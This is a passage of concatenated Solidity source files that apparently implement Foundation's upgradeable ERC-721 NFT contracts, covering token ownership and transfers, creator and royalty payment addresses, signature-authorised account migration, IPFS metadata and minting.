import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/EnumerableMapUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "./ERC165.sol";
import "../ERC165UpgradeableGap.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Upgradeable is
Initializable,
ContextUpgradeable,
ERC165UpgradeableGap,
ERC165,
IERC721Upgradeable,
IERC721MetadataUpgradeable,
IERC721EnumerableUpgradeable
{
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet;
using EnumerableMapUpgradeable for EnumerableMapUpgradeable.UintToAddressMap;
using StringsUpgradeable for uint256;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping(address => EnumerableSetUpgradeable.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMapUpgradeable.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Token name
string private ____gap_was_name;
// Token symbol
string private ____gap_was_symbol;
// Optional mapping for token URIs
mapping(uint256 => string) internal _tokenURIs;
// Base URI
string private _baseURI;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init() internal initializer {
__Context_init_unchained();
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
if (
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
interfaceId == type(IERC721EnumerableUpgradeable).interfaceId
) {
return true;
}
return super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public pure override returns (string memory) {
return "Foundation";
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public pure override returns (string memory) {
return "FND";
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(
abi.encodeWithSelector(
IERC721ReceiverUpgradeable(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
),
"ERC721: transfer to non ERC721Receiver implementer"
);
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == type(IERC721ReceiverUpgradeable).interfaceId);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[41] private __gap;
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
/**
* @notice A mixin that stores a reference to the Foundation treasury contract.
*/
abstract contract FoundationTreasuryNode is Initializable {
using AddressUpgradeable for address payable;
address payable private treasury;
/**
* @dev Called once after the initial deployment to set the Foundation treasury address.
*/
function _initializeFoundationTreasuryNode(address payable _treasury) internal initializer {
require(_treasury.isContract(), "FoundationTreasuryNode: Address is not a contract");
treasury = _treasury;
}
/**
* @notice Returns the address of the Foundation treasury.
*/
function getFoundationTreasury() public view returns (address payable) {
return treasury;
}
// `______gap` is added to each mixin to allow adding new data slots or additional mixins in an upgrade-safe way.
uint256[2000] private __gap;
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "../../interfaces/IAdminRole.sol";
import "../FoundationTreasuryNode.sol";
/**
* @notice Allows a contract to leverage the admin role defined by the Foundation treasury.
*/
abstract contract FoundationAdminRole is FoundationTreasuryNode {
// This file uses 0 data slots (other than what's included via FoundationTreasuryNode)
modifier onlyFoundationAdmin() {
require(_isFoundationAdmin(), "FoundationAdminRole: caller does not have the Admin role");
_;
}
function _isFoundationAdmin() internal view returns (bool) {
return IAdminRole(getFoundationTreasury()).isAdmin(msg.sender);
}
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "../../interfaces/IOperatorRole.sol";
import "../FoundationTreasuryNode.sol";
/**
* @notice Allows a contract to leverage the operator role defined by the Foundation treasury.
*/
abstract contract FoundationOperatorRole is FoundationTreasuryNode {
// This file uses 0 data slots (other than what's included via FoundationTreasuryNode)
function _isFoundationOperator() internal view returns (bool) {
return IOperatorRole(getFoundationTreasury()).isOperator(msg.sender);
}
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "./OZ/ERC165.sol";
import "../interfaces/IHasSecondarySaleFees.sol";
/**
* @notice An interface for communicating fees to 3rd party marketplaces.
* @dev Originally implemented in mainnet contract 0x44d6e8933f8271abcf253c72f9ed7e0e4c0323b3
*/
abstract contract HasSecondarySaleFees is Initializable, ERC165, IHasSecondarySaleFees {
function getFeeRecipients(uint256 id) public view virtual override returns (address payable[] memory);
function getFeeBps(uint256 id) public view virtual override returns (uint256[] memory);
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
if (interfaceId == type(IHasSecondarySaleFees).interfaceId) {
return true;
}
return super.supportsInterface(interfaceId);
}
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
/**
* @notice A place for common modifiers and functions used by various NFT721 mixins, if any.
* @dev This also leaves a gap which can be used to add a new mixin to the top of the inheritance tree.
*/
abstract contract NFT721Core {
// 100 slots used when adding NFT721ProxyCall
uint256[900] private ______gap;
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "../interfaces/IFNDNFTMarket.sol";
import "../interfaces/IGetRoyalties.sol";
import "./FoundationTreasuryNode.sol";
import "./HasSecondarySaleFees.sol";
import "./NFT721Creator.sol";
/**
* @notice Holds a reference to the Foundation Market and communicates fees to 3rd party marketplaces.
*/
abstract contract NFT721Market is FoundationTreasuryNode, HasSecondarySaleFees, NFT721Creator {
using AddressUpgradeable for address;
event NFTMarketUpdated(address indexed nftMarket);
IFNDNFTMarket private nftMarket;
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(HasSecondarySaleFees, NFT721Creator)
returns (bool)
{
if (interfaceId == type(IGetRoyalties).interfaceId) {
return true;
}
return super.supportsInterface(interfaceId);
}
/**
* @notice Returns the address of the Foundation NFTMarket contract.
*/
function getNFTMarket() public view returns (address) {
return address(nftMarket);
}
function _updateNFTMarket(address _nftMarket) internal {
require(_nftMarket.isContract(), "NFT721Market: Market address is not a contract");
nftMarket = IFNDNFTMarket(_nftMarket);
emit NFTMarketUpdated(_nftMarket);
}
/**
* @notice Returns an array of recipient addresses to which fees should be sent.
* The expected fee amount is communicated with `getFeeBps`.
*/
function getFeeRecipients(uint256 id) public view override returns (address payable[] memory) {
require(_exists(id), "ERC721Metadata: Query for nonexistent token");
address payable[] memory result = new address payable[](2);
result[0] = getFoundationTreasury();
result[1] = getTokenCreatorPaymentAddress(id);
return result;
}
/**
* @notice Returns an array of fees in basis points.
* The expected recipients is communicated with `getFeeRecipients`.
*/
function getFeeBps(
uint256 /* id */
) public view override returns (uint256[] memory) {
(, uint256 secondaryF8nFeeBasisPoints, uint256 secondaryCreatorFeeBasisPoints) = nftMarket.getFeeConfig();
uint256[] memory result = new uint256[](2);
result[0] = secondaryF8nFeeBasisPoints;
result[1] = secondaryCreatorFeeBasisPoints;
return result;
}
/**
* @notice Get fee recipients and fees in a single call.
* The data is the same as when calling getFeeRecipients and getFeeBps separately.
*/
function getRoyalties(uint256 tokenId)
public
view
returns (address payable[] memory recipients, uint256[] memory feesInBasisPoints)
{
require(_exists(tokenId), "ERC721Metadata: Query for nonexistent token");
recipients = new address payable[](2);
recipients[0] = getFoundationTreasury();
recipients[1] = getTokenCreatorPaymentAddress(tokenId);
(, uint256 secondaryF8nFeeBasisPoints, uint256 secondaryCreatorFeeBasisPoints) = nftMarket.getFeeConfig();
feesInBasisPoints = new uint256[](2);
feesInBasisPoints[0] = secondaryF8nFeeBasisPoints;
feesInBasisPoints[1] = secondaryCreatorFeeBasisPoints;
}
uint256[1000] private ______gap;
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "./OZ/ERC721Upgradeable.sol";
import "./AccountMigration.sol";
import "../libraries/BytesLibrary.sol";
import "./NFT721ProxyCall.sol";
import "../interfaces/ITokenCreator.sol";
import "../interfaces/ITokenCreatorPaymentAddress.sol";
/**
* @notice Allows each token to be associated with a creator.
*/
abstract contract NFT721Creator is
Initializable,
AccountMigration,
ERC721Upgradeable,
ITokenCreator,
ITokenCreatorPaymentAddress,
NFT721ProxyCall
{
using BytesLibrary for bytes;
mapping(uint256 => address payable) private tokenIdToCreator;
/**
* @dev Stores an optional alternate address to receive creator revenue and royalty payments.
*/
mapping(uint256 => address payable) private tokenIdToCreatorPaymentAddress;
event TokenCreatorUpdated(address indexed fromCreator, address indexed toCreator, uint256 indexed tokenId);
event TokenCreatorPaymentAddressSet(
address indexed fromPaymentAddress,
address indexed toPaymentAddress,
uint256 indexed tokenId
);
event NFTCreatorMigrated(uint256 indexed tokenId, address indexed originalAddress, address indexed newAddress);
event NFTOwnerMigrated(uint256 indexed tokenId, address indexed originalAddress, address indexed newAddress);
event PaymentAddressMigrated(
uint256 indexed tokenId,
address indexed originalAddress,
address indexed newAddress,
address originalPaymentAddress,
address newPaymentAddress
);
modifier onlyCreatorAndOwner(uint256 tokenId) {
require(tokenIdToCreator[tokenId] == msg.sender, "NFT721Creator: Caller is not creator");
require(ownerOf(tokenId) == msg.sender, "NFT721Creator: Caller does not own the NFT");
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
if (
interfaceId == type(ITokenCreator).interfaceId || interfaceId == type(ITokenCreatorPaymentAddress).interfaceId
) {
return true;
}
return super.supportsInterface(interfaceId);
}
/**
* @notice Returns the creator's address for a given tokenId.
*/
function tokenCreator(uint256 tokenId) public view override returns (address payable) {
return tokenIdToCreator[tokenId];
}
/**
* @notice Returns the payment address for a given tokenId.
* @dev If an alternate address was not defined, the creator is returned instead.
*/
function getTokenCreatorPaymentAddress(uint256 tokenId)
public
view
override
returns (address payable tokenCreatorPaymentAddress)
{
tokenCreatorPaymentAddress = tokenIdToCreatorPaymentAddress[tokenId];
if (tokenCreatorPaymentAddress == address(0)) {
tokenCreatorPaymentAddress = tokenIdToCreator[tokenId];
}
}
function _updateTokenCreator(uint256 tokenId, address payable creator) internal {
emit TokenCreatorUpdated(tokenIdToCreator[tokenId], creator, tokenId);
tokenIdToCreator[tokenId] = creator;
}
/**
* @dev Allow setting a different address to send payments to for both primary sale revenue
* and secondary sales royalties.
*/
function _setTokenCreatorPaymentAddress(uint256 tokenId, address payable tokenCreatorPaymentAddress) internal {
emit TokenCreatorPaymentAddressSet(tokenIdToCreatorPaymentAddress[tokenId], tokenCreatorPaymentAddress, tokenId);
tokenIdToCreatorPaymentAddress[tokenId] = tokenCreatorPaymentAddress;
}
/**
* @notice Allows the creator to burn if they currently own the NFT.
*/
function burn(uint256 tokenId) public onlyCreatorAndOwner(tokenId) {
_burn(tokenId);
}
/**
* @notice Allows an NFT owner or creator and Foundation to work together in order to update the creator
* to a new account and/or transfer NFTs to that account.
* @param signature Message `I authorize Foundation to migrate my account to ${newAccount.address.toLowerCase()}`
* signed by the original account.
* @dev This will gracefully skip any NFTs that have been burned or transferred.
*/
function adminAccountMigration(
uint256[] calldata createdTokenIds,
uint256[] calldata ownedTokenIds,
address originalAddress,
address payable newAddress,
bytes calldata signature
) public onlyAuthorizedAccountMigration(originalAddress, newAddress, signature) {
for (uint256 i = 0; i < ownedTokenIds.length; i++) {
uint256 tokenId = ownedTokenIds[i];
// Check that the token exists and still owned by the originalAddress
// so that frontrunning a burn or transfer will not cause the entire tx to revert
if (_exists(tokenId) && ownerOf(tokenId) == originalAddress) {
_transfer(originalAddress, newAddress, tokenId);
emit NFTOwnerMigrated(tokenId, originalAddress, newAddress);
}
}
for (uint256 i = 0; i < createdTokenIds.length; i++) {
uint256 tokenId = createdTokenIds[i];
// The creator would be 0 if the token was burned before this call
if (tokenIdToCreator[tokenId] != address(0)) {
require(
tokenIdToCreator[tokenId] == originalAddress,
"NFT721Creator: Token was not created by the given address"
);
_updateTokenCreator(tokenId, newAddress);
emit NFTCreatorMigrated(tokenId, originalAddress, newAddress);
}
}
}
/**
* @notice Allows a split recipient and Foundation to work together in order to update the payment address
* to a new account.
* @param signature Message `I authorize Foundation to migrate my account to ${newAccount.address.toLowerCase()}`
* signed by the original account.
*/
function adminAccountMigrationForPaymentAddresses(
uint256[] calldata paymentAddressTokenIds,
address paymentAddressFactory,
bytes memory paymentAddressCallData,
uint256 addressLocationInCallData,
address originalAddress,
address payable newAddress,
bytes calldata signature
) public onlyAuthorizedAccountMigration(originalAddress, newAddress, signature) {
_adminAccountRecoveryForPaymentAddresses(
paymentAddressTokenIds,
paymentAddressFactory,
paymentAddressCallData,
addressLocationInCallData,
originalAddress,
newAddress
);
}
/**
* @dev Split into a second function to avoid stack too deep errors
*/
function _adminAccountRecoveryForPaymentAddresses(
uint256[] calldata paymentAddressTokenIds,
address paymentAddressFactory,
bytes memory paymentAddressCallData,
uint256 addressLocationInCallData,
address originalAddress,
address payable newAddress
) private {
// Call the factory and get the originalPaymentAddress
address payable originalPaymentAddress = _proxyCallAndReturnContractAddress(
paymentAddressFactory,
paymentAddressCallData
);
// Confirm the original address and swap with the new address
paymentAddressCallData.replaceAtIf(addressLocationInCallData, originalAddress, newAddress);
// Call the factory and get the newPaymentAddress
address payable newPaymentAddress = _proxyCallAndReturnContractAddress(
paymentAddressFactory,
paymentAddressCallData
);
// For each token, confirm the expected payment address and then update to the new one
for (uint256 i = 0; i < paymentAddressTokenIds.length; i++) {
uint256 tokenId = paymentAddressTokenIds[i];
require(
tokenIdToCreatorPaymentAddress[tokenId] == originalPaymentAddress,
"NFT721Creator: Payment address is not the expected value"
);
_setTokenCreatorPaymentAddress(tokenId, newPaymentAddress);
emit PaymentAddressMigrated(tokenId, originalAddress, newAddress, originalPaymentAddress, newPaymentAddress);
}
}
/**
* @dev Remove the creator record when burned.
*/
function _burn(uint256 tokenId) internal virtual override {
delete tokenIdToCreator[tokenId];
super._burn(tokenId);
}
uint256[999] private ______gap;
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol";
import "./NFT721Core.sol";
import "./NFT721Creator.sol";
/**
* @notice A mixin to extend the OpenZeppelin metadata implementation.
*/
abstract contract NFT721Metadata is NFT721Creator {
using StringsUpgradeable for uint256;
/**
* @dev Stores hashes minted by a creator to prevent duplicates.
*/
mapping(address => mapping(string => bool)) private creatorToIPFSHashToMinted;
event BaseURIUpdated(string baseURI);
event TokenIPFSPathUpdated(uint256 indexed tokenId, string indexed indexedTokenIPFSPath, string tokenIPFSPath);
// This event was used in an order version of the contract
event NFTMetadataUpdated(string name, string symbol, string baseURI);
/**
* @notice Returns the IPFSPath to the metadata JSON file for a given NFT.
*/
function getTokenIPFSPath(uint256 tokenId) public view returns (string memory) {
return _tokenURIs[tokenId];
}
/**
* @notice Checks if the creator has already minted a given NFT.
*/
function getHasCreatorMintedIPFSHash(address creator, string memory tokenIPFSPath) public view returns (bool) {
return creatorToIPFSHashToMinted[creator][tokenIPFSPath];
}
function _updateBaseURI(string memory _baseURI) internal {
_setBaseURI(_baseURI);
emit BaseURIUpdated(_baseURI);
}
/**
* @dev The IPFS path should be the CID + file.extension, e.g.
* `QmfPsfGwLhiJrU8t9HpG4wuyjgPo9bk8go4aQqSu9Qg4h7/metadata.json`
*/
function _setTokenIPFSPath(uint256 tokenId, string memory _tokenIPFSPath) internal {
// 46 is the minimum length for an IPFS content hash, it may be longer if paths are used
require(bytes(_tokenIPFSPath).length >= 46, "NFT721Metadata: Invalid IPFS path");
require(!creatorToIPFSHashToMinted[msg.sender][_tokenIPFSPath], "NFT721Metadata: NFT was already minted");
creatorToIPFSHashToMinted[msg.sender][_tokenIPFSPath] = true;
_setTokenURI(tokenId, _tokenIPFSPath);
}
/**
* @dev When a token is burned, remove record of it allowing that creator to re-mint the same NFT again in the future.
*/
function _burn(uint256 tokenId) internal virtual override {
delete creatorToIPFSHashToMinted[msg.sender][_tokenURIs[tokenId]];
super._burn(tokenId);
}
uint256[999] private ______gap;
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "./OZ/ERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "./NFT721Creator.sol";
import "./NFT721Market.sol";
import "./NFT721Metadata.sol";
import "./NFT721ProxyCall.sol";
/**
* @notice Allows creators to mint NFTs.
*/
abstract contract NFT721Mint is
Initializable,
ERC721Upgradeable,
NFT721ProxyCall,
NFT721Creator,
NFT721Market,
NFT721Metadata
{
uint256 private nextTokenId;
event Minted(
address indexed creator,
uint256 indexed tokenId,
string indexed indexedTokenIPFSPath,
string tokenIPFSPath
);
/**
* @notice Gets the tokenId of the next NFT minted.
*/
function getNextTokenId() public view returns (uint256) {
return nextTokenId;
}
/**
* @dev Called once after the initial deployment to set the initial tokenId.
*/
function _initializeNFT721Mint() internal initializer {
// Use ID 1 for the first NFT tokenId
nextTokenId = 1;
}
/**
* @notice Allows a creator to mint an NFT.
*/
function mint(string memory tokenIPFSPath) public returns (uint256 tokenId) {
tokenId = nextTokenId++;
_mint(msg.sender, tokenId);
_updateTokenCreator(tokenId, msg.sender);
_setTokenIPFSPath(tokenId, tokenIPFSPath);
emit Minted(msg.sender, tokenId, tokenIPFSPath, tokenIPFSPath);
}
/**
* @notice Allows a creator to mint an NFT and set approval for the Foundation marketplace.
* This can be used by creators the first time they mint an NFT to save having to issue a separate
* approval transaction before starting an auction.
*/
function mintAndApproveMarket(string memory tokenIPFSPath) public returns (uint256 tokenId) {
tokenId = mint(tokenIPFSPath);
setApprovalForAll(getNFTMarket(), true);
}
/**
* @notice Allows a creator to mint an NFT and have creator revenue/royalties sent to an alternate address.
*/
function mintWithCreatorPaymentAddress(string memory tokenIPFSPath, address payable tokenCreatorPaymentAddress)
public
returns (uint256 tokenId)
{
require(tokenCreatorPaymentAddress != address(0), "NFT721Mint: tokenCreatorPaymentAddress is required");
tokenId = mint(tokenIPFSPath);
_setTokenCreatorPaymentAddress(tokenId, tokenCreatorPaymentAddress);
}
/**
* @notice Allows a creator to mint an NFT and have creator revenue/royalties sent to an alternate address.
* Also sets approval for the Foundation marketplace. This can be used by creators the first time they mint an NFT to
* save having to issue a separate approval transaction before starting an auction.
*/
function mintWithCreatorPaymentAddressAndApproveMarket(
string memory tokenIPFSPath,
address payable tokenCreatorPaymentAddress
) public returns (uint256 tokenId) {
tokenId = mintWithCreatorPaymentAddress(tokenIPFSPath, tokenCreatorPaymentAddress);
setApprovalForAll(getNFTMarket(), true);
}
/**
* @notice Allows a creator to mint an NFT and have creator revenue/royalties sent to an alternate address
* which is defined by a contract call, typically a proxy contract address representing the payment terms.
*/
function mintWithCreatorPaymentFactory(
string memory tokenIPFSPath,
address paymentAddressFactory,
bytes memory paymentAddressCallData
) public returns (uint256 tokenId) {
address payable tokenCreatorPaymentAddress = _proxyCallAndReturnContractAddress(
paymentAddressFactory,
paymentAddressCallData
);
tokenId = mintWithCreatorPaymentAddress(tokenIPFSPath, tokenCreatorPaymentAddress);
}
/**
* @notice Allows a creator to mint an NFT and have creator revenue/royalties sent to an alternate address
* which is defined by a contract call, typically a proxy contract address representing the payment terms.
* Also sets approval for the Foundation marketplace. This can be used by creators the first time they mint an NFT to
* save having to issue a separate approval transaction before starting an auction.
*/
function mintWithCreatorPaymentFactoryAndApproveMarket(
string memory tokenIPFSPath,
address paymentAddressFactory,
bytes memory paymentAddressCallData
) public returns (uint256 tokenId) {
tokenId = mintWithCreatorPaymentFactory(tokenIPFSPath, paymentAddressFactory, paymentAddressCallData);
setApprovalForAll(getNFTMarket(), true);
}
/**
* @dev Explicit override to address compile errors.
*/
function _burn(uint256 tokenId) internal virtual override(ERC721Upgradeable, NFT721Creator, NFT721Metadata) {
super._burn(tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Upgradeable, NFT721Creator, NFT721Market)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
uint256[1000] private ______gap;
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
